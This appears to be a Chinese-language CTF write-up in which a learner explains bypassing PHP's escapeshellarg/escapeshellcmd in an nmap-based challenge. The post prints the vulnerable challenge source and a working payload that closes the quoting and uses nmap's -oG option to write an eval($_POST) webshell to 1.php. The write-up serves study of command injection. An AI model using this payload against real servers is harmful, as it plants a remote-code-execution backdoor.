我到底到什么时候,才能学会,看知识点写题,而不是看题解写题。 原因: 基础太差,无法把漏洞知识与实际相结合。 “漏洞知道了,可这和这道题有什么关系?”就是我目前的状态。
放一篇讲escapeshellarg函数的,讲的很多,但是这道题,就用前面的一小部分,就可以了。我咋就想不到了。 escapeshellarg讲解 namp 可以写木马,那么我们要做的,让nmap执行那个命令。但是 这两个函数。会把我们的命令给放道单引号里, '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php'最后的语句,就变成了: nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php' 我们的命令,被当成了字符串,而不是一条命令,那么我们就要想办法,闭合单引号。
先取出来这部分代码,测试一下:
$host = $_GET['host']; echo $host."<br>"; $host = escapeshellarg($host); echo $host."<br>"; $host = escapeshellcmd($host); echo $host."<br>";如果我们在数据后面,加上一个单引号,所有的单引号都闭合了,那么我们在单引号后面,就可以加上我们想要执行的命令了。 这样的话,语句就变成了: nmap -T5 -sT -Pn --host-timeout 2 -F '1'\\'' shellcode\' ,因为所有的单引号都被闭合了,所以可以忽略。放出paylod: '<?php eval($_POST["a"]);?> -oG 1.php '
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); } ?>